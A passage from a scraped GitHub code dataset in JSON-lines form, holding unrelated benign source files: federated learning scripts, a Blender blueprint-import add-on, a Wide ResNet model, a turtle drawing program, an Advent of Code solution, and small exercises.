float((torch.sum(torch.argmax(output, dim=1) == y)).item())\r\n loss += float(self.loss(output, y))\r\n num += y.shape[0]\r\n# \r\n self.update_parameters(self.local_model)\r\n z_positive = self.model['extractor'](x).clone().detach()\r\n self.update_parameters(self.personalized_model)\r\n z_negative = self.model['extractor'](x).clone().detach()\r\n loss_con += float(self.contrastive_loss(z, z_positive, z_negative))\r\n # loss += float(self.loss(output, y) + self.lamda * self.contrastive_loss(z, z_positive, z_negative))\r\n # print(self.id + \", Train Accuracy:\", train_acc)\r\n print(self.id + \", Train Loss:\", loss/num)\r\n print(self.id + \", Train Contrastive Loss:\", loss_con)\r\n self.update_parameters(self.local_model)\r\n # return train_acc, loss , self.train_samples\r\n return train_acc, loss , num\r\n \r\n def get_next_train_batch(self):\r\n try:\r\n # Samples a new batch for persionalizing\r\n (X, y) = next(self.iter_trainloader)\r\n except StopIteration:\r\n # restart the generator if the previous generator is exhausted.\r\n self.iter_trainloader = iter(self.trainloader)\r\n (X, y) = next(self.iter_trainloader)\r\n return (X.to(self.device), y.to(self.device))\r\n \r\n def get_next_test_batch(self):\r\n try:\r\n # Samples a new batch for persionalizing\r\n (X, y) = next(self.iter_testloader)\r\n except StopIteration:\r\n # restart the generator if the previous generator is exhausted.\r\n self.iter_testloader = iter(self.testloader)\r\n (X, y) = next(self.iter_testloader)\r\n return (X.to(self.device), y.to(self.device))\r\n\r\n def save_model(self):\r\n model_path = os.path.join(\"models\", self.dataset)\r\n if not os.path.exists(model_path):\r\n os.makedirs(model_path)\r\n torch.save(self.model, os.path.join(model_path, \"user_\" + self.id + \".pt\"))\r\n\r\n def load_model(self):\r\n model_path = os.path.join(\"models\", self.dataset)\r\n self.model = torch.load(os.path.join(model_path, \"server\" + \".pt\"))\r\n \r\n @staticmethod\r\n def model_exists():\r\n return os.path.exists(os.path.join(\"models\", \"server\" + \".pt\"))","repo_name":"Tangx-yy/Per-InvFL","sub_path":"FLAlgorithms/users/userbase_InvPFL.py","file_name":"userbase_InvPFL.py","file_ext":"py","file_size_in_byte":13786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73867958664","text":"from turtle import *\nfrom random import randint\n\ndef drawShape(sides,length,outline,fill):\n begin_fill()\n color(outline,fill)\n penup()\n pendown()\n for n in range (0,sides):\n forward(length)\n right(360/sides)\n penup()\n end_fill()\n\nprint(\"be sensible with the length of the sides and angle\")\nnumOfSides = input(\"number of sides?\")\nlengthOfSides = input(\"length of sides?\")\noutlineColour = input(\"outline colour?\")\nfillColour = input(\"fill colour?\")\nangleStep = input(\"rotation between shape?\")\n\nnumOfSides = int(numOfSides)\nlengthOfSides = int(lengthOfSides)\nangleStep = int(angleStep)\n\n\nfor i in range(0,360,angleStep):\n drawShape(numOfSides,lengthOfSides,outlineColour,fillColour)\n right(angleStep)\n","repo_name":"Boothy742/pattern-maker","sub_path":"patternMaker.py","file_name":"patternMaker.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"23252144378","text":"bl_info = {\n \"name\": \"Import Blueprints\",\n \"author\": \"Thibaut Bourbon\",\n \"version\": (1, 1),\n \"blender\": (2, 83, 4),\n \"location\": \"File > Import > Blueprints\",\n \"description\": \"Import blueprints and place them accordingly\",\n \"warning\": \"Pictures names should finish by _front, _side, _top, and _rear before the .extension\",\n \"doc_url\": \"\",\n \"category\": \"Add Image Reference\",\n}\n\n\n# ImportHelper is a helper class, defines filename and\n# invoke() function which calls the file selector.\nimport bpy\nimport math, mathutils\nfrom bpy_extras.io_utils import ImportHelper\nfrom bpy.props import StringProperty, BoolProperty, EnumProperty, CollectionProperty\nfrom bpy.types import Operator, OperatorFileListElement\n\n\n\ndef read_some_data(context, directory, files, *use_some_setting):\n print(\"Scanning and placing the blueprints\")\n bp_front, bp_side, bp_left, bp_right, bp_top, bp_bottom, bp_rear = \"\", \"\", \"\", \"\", \"\", \"\", \"\"\n for i in files:\n if \"_front.\" in i.name:\n bp_front = directory+i.name\n if \"_side.\" in i.name:\n bp_side = directory+i.name\n if \"_left.\" in i.name:\n bp_left = directory+i.name\n if \"_right.\" in i.name:\n bp_right = directory+i.name\n if \"_top.\" in i.name:\n bp_top = directory+i.name\n if \"_bottom.\" in i.name:\n bp_bottom = directory+i.name\n if \"_rear.\" in i.name:\n bp_rear = directory+i.name\n place_the_imported_images(bp_front, bp_side, bp_left, bp_right, bp_top, bp_bottom, bp_rear)\n return {'FINISHED'}\n\n\ndef place_the_imported_images(bp_front, bp_side, bp_left, bp_right, bp_top, bp_bottom, bp_rear):\n for area in bpy.context.screen.areas:\n if area.type == 'VIEW_3D':\n matrix = area.spaces[0].region_3d.view_matrix\n ctx = {\"area\": area}\n if bp_front is not '':\n bpy.ops.view3d.view_axis(ctx, type=\"FRONT\")\n bpy.ops.object.load_reference_image(filepath=bp_front)\n # Lines below to delete once the view_align stuff is fixed\n bpy.ops.transform.rotate(value=-math.pi/2,orient_axis='X')\n ###\n front_w = bpy.data.images[bp_front.split(\"\\\\\")[-1]].size[0]\n front_h = bpy.data.images[bp_front.split(\"\\\\\")[-1]].size[1]\n if front_h > front_w:\n s = front_h/front_w\n bpy.ops.transform.resize(value=(s,s,s))\n bpy.ops.transform.translate(value=(0,-20,0))\n else:\n bpy.ops.transform.translate(value=(0,-6,0))\n bpy.context.object.empty_image_side = 'FRONT'\n bpy.context.object.use_empty_image_alpha = True\n bpy.context.object.color[3] = 0.5\n else:\n front_w = 1\n front_h = 1\n if bp_side is not '':\n bpy.ops.view3d.view_axis(ctx, type=\"RIGHT\")\n bpy.ops.object.load_reference_image(filepath=bp_side)\n # Lines below to delete once the view_align stuff is fixed\n bpy.ops.transform.rotate(value=3*math.pi/2,orient_axis='X')\n bpy.ops.transform.rotate(value=3*math.pi/2,orient_axis='Z')\n ###\n side_w = bpy.data.images[bp_side.split(\"\\\\\")[-1]].size[0]\n side_h = bpy.data.images[bp_side.split(\"\\\\\")[-1]].size[1]\n s = max(side_w/front_w,front_w/side_w)\n bpy.ops.transform.resize(value = (s,s,s))\n bpy.ops.transform.translate(value = (-4,0,0) )\n bpy.context.object.empty_image_side = 'FRONT'\n bpy.context.object.use_empty_image_alpha = True\n bpy.context.object.color[3] = 0.5\n \n if bp_right is not '':\n bpy.ops.view3d.view_axis(ctx, type=\"RIGHT\")\n bpy.ops.object.load_reference_image(filepath=bp_right)\n # Lines below to delete once the view_align stuff is fixed\n bpy.ops.transform.rotate(value=3*math.pi/2,orient_axis='X')\n bpy.ops.transform.rotate(value=3*math.pi/2,orient_axis='Z')\n ###\n side_w = bpy.data.images[bp_right.split(\"\\\\\")[-1]].size[0]\n side_h = bpy.data.images[bp_right.split(\"\\\\\")[-1]].size[1]\n s = max(side_w/front_w,front_w/side_w)\n bpy.ops.transform.resize(value = (s,s,s))\n bpy.ops.transform.translate(value = (-4,0,0) )\n bpy.context.object.empty_image_side = 'FRONT'\n bpy.context.object.use_empty_image_alpha = True\n bpy.context.object.color[3] = 0.5\n \n if bp_left is not '':\n bpy.ops.view3d.view_axis(ctx, type=\"LEFT\")\n bpy.ops.object.load_reference_image(filepath=bp_left)\n # Lines below to delete once the view_align stuff is fixed\n bpy.ops.transform.rotate(value=3*math.pi/2,orient_axis='X')\n bpy.ops.transform.rotate(value=math.pi/2,orient_axis='Z')\n ###\n side_w = bpy.data.images[bp_left.split(\"\\\\\")[-1]].size[0]\n side_h = bpy.data.images[bp_left.split(\"\\\\\")[-1]].size[1]\n s = max(side_w/front_w,front_w/side_w)\n bpy.ops.transform.resize(value = (s,s,s))\n bpy.ops.transform.translate(value = (4,0,0) )\n bpy.context.object.empty_image_side = 'FRONT'\n bpy.context.object.use_empty_image_alpha = True\n bpy.context.object.color[3] = 0.5\n \n if bp_top is not '':\n bpy.ops.view3d.view_axis(ctx, type=\"TOP\")\n bpy.ops.object.load_reference_image(filepath=bp_top)\n # Lines below to delete once the view_align stuff is fixed\n bpy.ops.transform.rotate(value=3*math.pi/2,orient_axis='Z')\n ###\n top_w = bpy.data.images[bp_top.split(\"\\\\\")[-1]].size[0]\n top_h = bpy.data.images[bp_top.split(\"\\\\\")[-1]].size[1]\n s = max(top_w/front_w,front_w/top_w)\n bpy.ops.transform.resize(value = (s,s,s) )\n bpy.ops.transform.translate(value = (0,0,-2) )\n bpy.context.object.empty_image_side = 'FRONT'\n bpy.context.object.use_empty_image_alpha = True\n bpy.context.object.color[3] = 0.5\n\n if bp_bottom is not '':\n bpy.ops.view3d.view_axis(ctx, type=\"BOTTOM\")\n bpy.ops.object.load_reference_image(filepath=bp_bottom)\n # Lines below to delete once the view_align stuff is fixed\n bpy.ops.transform.rotate(value=3*math.pi/2,orient_axis='Z')\n bpy.ops.transform.rotate(value=math.pi,orient_axis='Y')\n ###\n top_w = bpy.data.images[bp_bottom.split(\"\\\\\")[-1]].size[0]\n top_h = bpy.data.images[bp_bottom.split(\"\\\\\")[-1]].size[1]\n s = max(top_w/front_w,front_w/top_w)\n bpy.ops.transform.resize(value = (s,s,s) )\n bpy.ops.transform.translate(value = (0,0,5) )\n bpy.context.object.empty_image_side = 'FRONT'\n bpy.context.object.use_empty_image_alpha = True\n bpy.context.object.color[3] = 0.5\n \n if bp_rear is not '':\n bpy.ops.view3d.view_axis(ctx, type=\"BACK\")\n bpy.ops.object.load_reference_image(filepath=bp_rear)\n # Lines below to delete once the view_align stuff is fixed\n bpy.ops.transform.rotate(value=3*math.pi/2,orient_axis='X')\n ###\n rear_w = bpy.data.images[bp_rear.split(\"\\\\\")[-1]].size[0]\n rear_h = bpy.data.images[bp_rear.split(\"\\\\\")[-1]].size[1]\n if rear_h > rear_w:\n s = rear_h/rear_w\n bpy.ops.transform.resize(value=(s,s,s))\n bpy.ops.transform.translate(value=(0,15,0))\n else:\n bpy.ops.transform.translate(value=(0,6,0))\n bpy.context.object.empty_image_side = 'BACK'\n bpy.context.object.use_empty_image_alpha = True\n bpy.context.object.color[3] = 0.5\n area.spaces[0].region_3d.view_matrix = mathutils.Matrix(matrix)\n\nclass ImportSomeData(Operator, ImportHelper):\n \"\"\"This appears in the tooltip of the operator and in the generated docs\"\"\"\n bl_idname = \"import_test.some_data\" # important since its how bpy.ops.import_test.some_data is constructed\n bl_label = \"Import blueprints\"\n\n\n # ImportHelper mixin class uses this\n filename_ext = \".png\"\n\n filter_glob: StringProperty(\n default=\"*.png\",\n options={'HIDDEN'},\n maxlen=255, # Max internal buffer length, longer would be clamped.\n )\n \n files: CollectionProperty(\n name=\"File Path\",\n type=OperatorFileListElement,\n )\n \n directory: StringProperty(\n subtype='DIR_PATH',\n )\n \n # List of operator properties, the attributes will be assigned\n # to the class instance from the operator settings before calling.\n #use_setting: BoolProperty(\n # name=\"More t\",\n # description=\"\",\n # default=False,\n #)\n\n #type: EnumProperty(\n # name=\"Example Enum\",\n # description=\"Choose between two items\",\n # items=(\n # ('OPT_A', \"First Option\", \"Description one\"),\n # ('OPT_B', \"Second Option\", \"Description two\"),\n # ),\n # default='OPT_A',\n #)\n\n def execute(self, context):\n return read_some_data(context, self.directory, self.files)\n\n\n# Only needed if you want to add into a dynamic menu\ndef menu_func_import(self, context):\n self.layout.operator(ImportSomeData.bl_idname, text=\"Blueprints\")\n\n\ndef register():\n bpy.utils.register_class(ImportSomeData)\n bpy.types.TOPBAR_MT_file_import.append(menu_func_import)\n\n\ndef unregister():\n bpy.utils.unregister_class(ImportSomeData)\n bpy.types.TOPBAR_MT_file_import.remove(menu_func_import)\n\n\nif __name__ == \"__main__\":\n register()\n # test call\n bpy.ops.import_test.some_data('INVOKE_DEFAULT')\n","repo_name":"tbrbn/CROPR","sub_path":"bbas/blueprint_setup_blender.py","file_name":"blueprint_setup_blender.py","file_ext":"py","file_size_in_byte":10285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"72447483144","text":"import copy\nimport random\nimport time\n\nimport torch\nimport torch.nn as nn\nimport syft\nimport torch.optim as optim\nfrom torch.autograd import Variable\n\nimport utils\nfrom Funtions import *\n\nimport matplotlib.pyplot as plt\n\n\nclass Arguments:\n def __init__(self):\n self.batchSize = 64 # 训练批次大小\n self.testBatchSize = 1000\n self.epochs = 10\n self.lr = 0.01 # 学习率\n self.momentum = 0.5\n self.no_cuda = False\n self.seed = 1\n self.log_interval = 30\n self.save_model = False\n self.modelType = \"CNN\"\n\n\nargs = Arguments()\n# device = torch.device(\"cuda\")\ndevice = torch.device(\"cpu\")\nhook = syft.TorchHook(torch)\n\n\ndef init():\n \"\"\"Initialize\"\"\"\n patternIdx = 1\n clientNum = 10 # 客户数量\n model = utils.MNIST_CNN_Net().to(device)\n trainLoader = torch.load(\"train_loader_\" + str(patternIdx) +\n \"_\" + str(args.batchSize) + \".pt\")\n testLoader = torch.load(\"test_loader_\" + str(patternIdx) +\n \"_\" + str(args.batchSize) + \".pt\")\n return patternIdx, clientNum, model, trainLoader, testLoader\n\n\ndef runFedSA(model, clientNum, client, secureClient, server, clientData, clientTarget, testLoader):\n model.train() # 设置模型为训练模式\n lossF = nn.CrossEntropyLoss() # 损失函数选择,交叉熵函数\n M = 5 # 文章中的M值\n prepareTime = getPrepareTime(clientNum) # 模型准备时间##############################################################\n clientModel, clientOpt = {}, {} # worker的优化器\n for i in range(1, clientNum + 1):\n clientModel[str(i)] = model.copy().send(client[str(i)])\n clientOpt[str(i)] = optim.SGD(params=clientModel[str(i)].parameters(), lr=args.lr)\n\n currentLostTime = copy.deepcopy(prepareTime)\n runtime = 0\n tau = {} # 模型延迟\n tau_th = 999 # 模型延迟的阈值\n for i in range(1, clientNum + 1):\n tau[str(i)] = 0\n tik = time.time()\n accList = []\n for k in range(1, 500):\n print(\"\\nEpoch: {:d}\".format(k))\n serverModel = model.copy().send(server)\n chosenClients, currentLostTime, iterationTime = chooseClients(M, prepareTime, currentLostTime) ###########\n runtime += iterationTime\n clientData, clientOpt, clientModel, clientTarget, lossF = \\\n localUpdate(device, chosenClients, clientData, clientOpt, clientModel, clientTarget, lossF)\n # clientModel = localDP(device, clientModel, chosenClients)\n\n for i in chosenClients: # 把模型移动到secure_worker做简单平均\n clientModel[str(i)].move(secureClient)\n serverModel.move(secureClient)\n model = globalAggregate(serverModel, chosenClients, clientNum, clientModel, tau, tau_th)\n acc = modelTest(\"1.1\", device, args, model, runtime, clientNum, testLoader)\n accList.append(acc)\n # 分发模型####################################################################################################\n for choose_worker in chosenClients:\n clientModel[str(choose_worker)] = model.copy().send(client[str(choose_worker)])\n clientOpt[str(choose_worker)] = optim.SGD(params=clientModel[str(choose_worker)].parameters(),\n lr=args.lr)\n # 更新延迟####################################################################################################\n for i in range(1, clientNum + 1):\n if str(i) in chosenClients:\n tau[str(i)] = 0\n else:\n tau[str(i)] += 1\n tok = time.time()\n print(\"Total running time: {:f}\\n\".format(tok - tik))\n\n plt.figure()\n plt.plot(range(len(accList)), accList)\n plt.ylabel('test accuracy')\n plt.savefig('1.1CNN_64_0.01_10_acc.png')\n\n\nif __name__ == '__main__':\n patternIdx, clientNum, model, trainLoader, testLoader = init()\n client, secureClient, server, clientData, clientTarget = distributeData(hook, args, clientNum, trainLoader)\n runFedSA(model, clientNum, client, secureClient, server, clientData, clientTarget, testLoader)\n","repo_name":"yunsaijc/2023-Federated-Learning-and-Differential-Privacy","sub_path":"oldVersion/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4203,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"81"} +{"seq_id":"32438809022","text":"from chatbot.utils.Preprocess import Preprocess\n\nsent = \"내일 오전 10시에 탕수육 주문하고 싶어\"\n\n#전처리 객체 생성\n\np = Preprocess(userdic='../utils/user_dic.tsv')\n\n#형태소 분석기 실행\npos = p.pos(sent)\n\nret = p.get_keywords(pos, without_tag=False)\nprint(ret)\n\nret = p.get_keywords(pos, without_tag=True)\nprint(ret)","repo_name":"chan1031/firstChatbot","sub_path":"chatbot/test/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"3558474151","text":"class Stack:\n def __init__(self):\n self.items = []\n\n def is_empty(self):\n return len(self.items) == 0\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n else:\n return None\n\ndef check_balance(text):\n stack = Stack()\n bracket_pairs = {')': '(', '}': '{', ']': '['}\n open_brackets = set(bracket_pairs.values())\n close_brackets = set(bracket_pairs.keys())\n error_position = -1\n pairs_count = 0\n\n for i, char in enumerate(text, start=1):\n if char in open_brackets:\n stack.push((char, i))\n elif char in close_brackets:\n if stack.is_empty():\n return f\"Match error at position {i-1}\"\n top = stack.pop()\n if bracket_pairs[char] != top[0]:\n return f\"Match error at position {i-1}\"\n pairs_count += 1\n else:\n continue\n\n if not stack.is_empty():\n error_position = stack.pop()[1]\n\n if error_position != -1:\n return f\"Match error at position {error_position-1}\"\n else:\n return f\"Ok - {pairs_count}\"\n\n","repo_name":"JusefA/Data-structure-and-algorithms","sub_path":"Chapter 4 - Stacks and queues/E2.py","file_name":"E2.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"70597326986","text":"from django.db import models\n\nfrom drive.utils.models import BaseModel\n\nfrom .user import User\n\n\nclass State(BaseModel):\n user = models.ForeignKey(to=User, on_delete=models.CASCADE, verbose_name=\"User\")\n state = models.CharField(verbose_name=\"State\", max_length=128)\n\n class Meta:\n verbose_name = \"State\"\n verbose_name_plural = \"States\"\n\n def __str__(self):\n return self.state\n","repo_name":"pavelan0khin/drive-bot-ge","sub_path":"src/drive/bot/models/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"1647046229","text":"import re\n\n\npattern_plus = re.compile('new = old + (\\d+)')\npattern_mult = re.compile('new = old * (\\d+)')\n\n\ndef identify_op(txt):\n op = None\n if txt == 'new = old * old':\n op = lambda x: x*x\n elif txt.startswith('new = old *'):\n v = int(txt.split()[-1])\n op = lambda x: x*v\n elif txt.startswith('new = old +'):\n v = int(txt.split()[-1])\n op = lambda x: x + v\n return op\n\n\ndef load_input(filename):\n res = []\n with open(filename, 'r') as f:\n monkey = {}\n for line in f:\n line = line.strip()\n if line.startswith('Monkey'):\n if len(monkey) > 0:\n res.append(monkey)\n monkey = {}\n elif line.startswith('Starting items:'):\n monkey['items'] = [int(e.strip()) for e in line.split(':')[1].split(',')]\n elif line.startswith('Test:'):\n monkey['div'] = int(line.split()[-1])\n elif line.startswith('Operation:'):\n monkey['op'] = identify_op(line.split(':')[1].strip())\n elif line.startswith('If true:'):\n monkey['true'] = int(line.split()[-1])\n elif line.startswith('If false:'):\n monkey['false'] = int(line.split()[-1])\n if len(monkey) > 0:\n res.append(monkey)\n return res\n\n\ndef play_onemokey(monkey):\n todo = []\n for item in monkey['items']:\n v = monkey['op'](item)//3\n\n if v%monkey['div'] == 0:\n todo.append((monkey['true'], v))\n else:\n todo.append((monkey['false'], v))\n monkey['items'] = []\n return todo\n\n\ndef part1():\n monkeys = load_input('input_test')\n print(monkeys)\n count = [0] * len(monkeys)\n for _ in range(20):\n for im, m in enumerate(monkeys):\n count[im] += len(m['items'])\n for dest, v in play_onemokey(m):\n monkeys[dest]['items'].append(v)\n count.sort()\n print(monkeys)\n print('part1', count[-1] * count[-2])\n\n\ndef play_onemokey2(im, monkey):\n todo = []\n for item in monkey['items']:\n vals = [(monkey['op'](v)%d, d) for v, d in item]\n\n if vals[im][0] == 0:\n todo.append((monkey['true'], vals))\n else:\n todo.append((monkey['false'], vals))\n monkey['items'] = []\n return todo\n\n\ndef part2():\n monkeys = load_input('input')\n count = [0] * len(monkeys)\n\n alldivs = [m['div'] for m in monkeys]\n\n for m in monkeys:\n m['items'] = [list(zip([v] * len(monkeys), alldivs)) for v in m['items']]\n print(monkeys)\n for _ in range(10000):\n for im, m in enumerate(monkeys):\n count[im] += len(m['items'])\n for dest, v in play_onemokey2(im, m):\n monkeys[dest]['items'].append(v)\n print(count)\n count.sort()\n print('part2', count[-1] * count[-2])\n\n\nif __name__ == '__main__':\n part1()\n part2()\n","repo_name":"Lawes/adventofcode","sub_path":"2022/day11/day11.py","file_name":"day11.py","file_ext":"py","file_size_in_byte":2933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"42923923215","text":"\nmy_dict = {'C1':[1,2,3],'C2':[5,6,7],'C3':[9,10,11]}\na=[]\n\nfor i,j in my_dict.items():\n print(i,end=\" \")\n a.append(j)\nprint()\ni=0\nwhile i 3 groups -> fc\n# zoom in the \"groups\" part:\n# each group has n blocks, each block has b conv layers (b=2 for BasicBlock, 3 for Bottleneck, but in WRN, we focus on BasicBlock)\n# note that each group may also have a shortcut at the first block, so there are n*b + 1 conv layers in each group\n# so, in total, the number of conv layers are\n# 1 + 3 * (n*b + 1) = 3n*b + 4\n# with b=2 (BasicBlock), we have 6n + 4 conv layers in total.\n\n###### Example: WRN-28-10: 28 conv layers, 10x widening factor\n# 1 conv stem -> 3 groups -> 1 FC.\n\n# Each group consists of 4 blocks and 1 shortcut (optional).\n# Each block has 2 conv layers (denoted as B(3,3) in the paper: two 3x3 conv layers)\n# so, in total: 1 + 3 * (4*2 + 1) = 28 conv layers\n\nimport torch\nfrom torch import nn, Tensor\nfrom torch.nn import init\nfrom model_utils import conv3x3, conv1x1\n\n\nclass BasicBlock(nn.Module):\n def __init__(self, in_dim, out_dim, stride):\n super().__init__()\n\n self.bn1 = nn.BatchNorm2d(in_dim)\n self.conv1 = conv3x3(in_dim, out_dim, stride=stride,\n padding=1) # stride = `stride` for the first conv\n\n self.bn2 = nn.BatchNorm2d(out_dim)\n self.conv2 = conv3x3(out_dim, out_dim, stride=1, padding=1) # stride = 1 for the second conv\n\n self.relu = nn.ReLU(inplace=True)\n self.in_out_equal = (in_dim == out_dim)\n self.shortcut = None\n if not self.in_out_equal:\n self.shortcut = conv1x1(in_dim, out_dim, stride=stride)\n\n\n def forward(self, x: Tensor) -> Tensor:\n ## main branch: BN -> ReLU -> Conv -> BN -> ReLU -> Conv\n out = self.conv1(self.relu(self.bn1(x)))\n out = self.conv2(self.relu(self.bn2(out)))\n\n ## residual branch: BN -> ReLU -> Conv1x1\n if not self.in_out_equal:\n residual = self.shortcut(self.relu(self.bn1(x)))\n else:\n residual = x\n\n return out + residual\n\n\nclass WRN(nn.Module):\n def __init__(self, input_dim: int, depth: int, width: int, num_classes: int):\n \"\"\"\n Paper: Wide Residual Networks - https://arxiv.org/pdf/1605.07146.pdf\n \"\"\"\n super().__init__()\n\n group_dims = [16, 16 * width, 32 * width, 64 * width]\n assert (depth - 4) % 6 == 0, 'depth should be 6n+4'\n num_blocks = (depth - 4) // 6 # num blocks for each group\n\n self.num_classes = num_classes\n self.conv_stem = conv3x3(input_dim, group_dims[0], stride=1, padding=1)\n\n self.group_1 = self._make_group(group_dims[0], group_dims[1], num_blocks, 1)\n self.group_2 = self._make_group(group_dims[1], group_dims[2], num_blocks, 2)\n self.group_3 = self._make_group(group_dims[2], group_dims[3], num_blocks, 2)\n\n self.last_act = nn.Sequential(\n nn.BatchNorm2d(group_dims[3]),\n nn.ReLU(inplace=True)\n )\n self.avg_pool = nn.AvgPool2d(8)\n self.fc = nn.Linear(group_dims[3], num_classes)\n\n self._init_weights()\n\n def _init_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n init.kaiming_normal_(m.weight)\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n elif isinstance(m, nn.Linear):\n init.kaiming_normal_(m.weight)\n m.bias.data.zero_()\n\n def _make_group(self, in_dim: int, out_dim: int, num_blocks: int, first_stride: int = 1) -> nn.Sequential:\n blocks = []\n blocks.append(BasicBlock(in_dim, out_dim, first_stride))\n for i in range(1, num_blocks):\n blocks.append(BasicBlock(out_dim, out_dim, 1))\n return nn.Sequential(*blocks)\n\n def forward(self, x: Tensor) -> Tensor:\n out = self.conv_stem(x)\n out = self.group_1(out)\n out = self.group_2(out)\n out = self.group_3(out)\n out = self.last_act(out)\n out = self.avg_pool(out)\n out = torch.flatten(out, start_dim=1)\n out = self.fc(out)\n return out\n\n\ndef wrn(input_dim: int, depth: int, width: int, num_classes: int) -> WRN:\n model = WRN(input_dim, depth, width, num_classes)\n return model\n\n\nif __name__ == '__main__':\n input_dim, depth, width, num_classes = 3, 28, 10, 10\n model = wrn(input_dim, depth, width, num_classes)\n # ~36.5M params\n","repo_name":"chaudatascience/ml_from_scratch","sub_path":"resnet/wide_resnet.py","file_name":"wide_resnet.py","file_ext":"py","file_size_in_byte":5127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73831300424","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom glob import glob\n\nvolumeFiles = glob('*/vol*')\n\narea = []\nfor file in volumeFiles:\n openFile = open(file, 'r')\n area.append(openFile.read())\n openFile.close()\n\nn = []\nfor file in volumeFiles:\n n.append(int(file[5:-7]))\n\nplt.plot(n, area, 'o')\nplt.ylabel('Area')\nplt.xlabel('Size of interacting group')\nplt.xlim(-0.1, 405)\nplt.show()\n#plt.safefig('volumeVSgroupSize.png')\n","repo_name":"Hayels406/CSM","sub_path":"plotting/volumeVSgroupSize.py","file_name":"volumeVSgroupSize.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"28539602911","text":"#coding=utf-8\n\n# backbone module\nbackbone_kwargs = {'backbone_type':'resnet',\n 'num_blocks_list':[1, 3, 3, 4, 3],\n 'channels_list':[64, 128, 256, 512, 512],\n 'strides_list':[(2,2), (2,2), (2,2), (1,1), (1,1)],\n 'use_backbone':True}\n#densenet 97\n# densenet_kwargs = { 'backbone_type':'densenet',\n# 'init_channels':64, \n# 'growth_rate':32, \n# 'num_layers_list':[6, 12, 12, 16], \n# 'strides_list':[(2,2), (2,2), (1,1)], \n# 'bn_size':4, \n# 'dropout':0.1}\n\n#relation attention module\nra_kwargs = {'num_layers':2,\n 'hidden_size':1024,\n 'output_size':512,\n 'num_heads':8,\n 'dropout':0.1}\n#parallel attention module\nmax_char_len = 60\npa_kwargs = {'hidden_size':512, 'output_size':max_char_len}\n# RNN module\nrnn_kwargs = None\nencoder_kwargs = {'ra_kwargs':ra_kwargs,\n 'pa_kwargs':pa_kwargs,\n 'rnn_kwargs':rnn_kwargs}\n# decoder\nvoc_size = 6053+4\n#decoder relation attention module\ndecoder_kwargs = {'voc_size':voc_size, 'ra_kwargs':ra_kwargs}\n\n# dataset\nbucket_mode = True\ndataset_name = 'receipt'\ndata_augment = True\nshort_side = 32\nfix_width = None\ntrain_data_path = ['/home/disk0/sw/data/receipts/train_lines.txt',\n '/home/disk0/sw/data/receipts/baidu_lines.txt']\nval_data_path = '/home/disk0/sw/data/receipts/val_lines.txt'\n# train_data_path = '/home/disk0/sw/data/synth_data/train/labels.txt'\n# val_data_path = '/home/disk0/sw/data/synth_data/test/labels.txt'\nvoc_path = './data/char_std_5990.txt'\n\n#hyperparameter\nnum_workers = 8\nbatch_size = 64\ngpus = '0'\nwd = 0.0001\nlr = 0.01\ndecay_steps = [20, 30]\nlr_decay = 0.1\n\ntest_result_dir = './test_results/' + dataset_name\ncheckpoint = './checkpoint/' + dataset_name\npretrain_base = './checkpoint/synth/atten_model-best.params'\nload_epoch = 0\nnum_epochs = 40\nsave_step = 2000\nvalidate_step = 2\ndisp_batchs = 10\nshow_atten_map = False\nsave_atten_dir = test_result_dir + '/attention_map'","repo_name":"Davids929/2d_attention","sub_path":"configs/chr_config.py","file_name":"chr_config.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"9306630237","text":"no = \"240920\"\ncount = 0\nwhile no <= \"789857\":\n double = False\n for i in range(5):\n if no[i] > no[i+1]:\n #no = no[:i+1] + no[i] + no[i+2:]\n no = str(int(no) + 1)\n break\n if no[i] == no[i+1]:\n double = True\n else:\n if double:\n count += 1\n no = str(int(no) + 1)\n\nprint(count)\n","repo_name":"r-udd/adventofcode2019","sub_path":"day4/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"7614921429","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision import transforms\n\nfrom libs.bisenet import BiSeNet\n\nimport os\nimport cv2\nfrom tqdm import tqdm\nfrom PIL import Image\n\n\"\"\"\nindex:\n1 'skin', 2 'l_brow', 3 'r_brow', 4 'l_eye', 5 'r_eye', 6 'eye_g', \n7 'l_ear', 8 'r_ear', 9 'ear_r', 10 'nose', \n11 'mouth', 12 'u_lip', 13 'l_lip', \n14 'neck', 15 'neck_l', 16 'cloth', 17 'hair', 18 'hat'\n\"\"\"\n\nclass FaceParser(nn.Module):\n def __init__(self, baseline):\n super(FaceParser, self).__init__()\n self.parsing_net = None\n \n # Choose model\n if baseline == \"bisenet\":\n self.parsing_net = BiSeNet(n_classes=19)\n ckpt_path = \"ckpt/BiSe_10000.pt\"\n else:\n raise Exception(\"Invalid baseline\")\n \n # Load checkpoint\n ckpt = 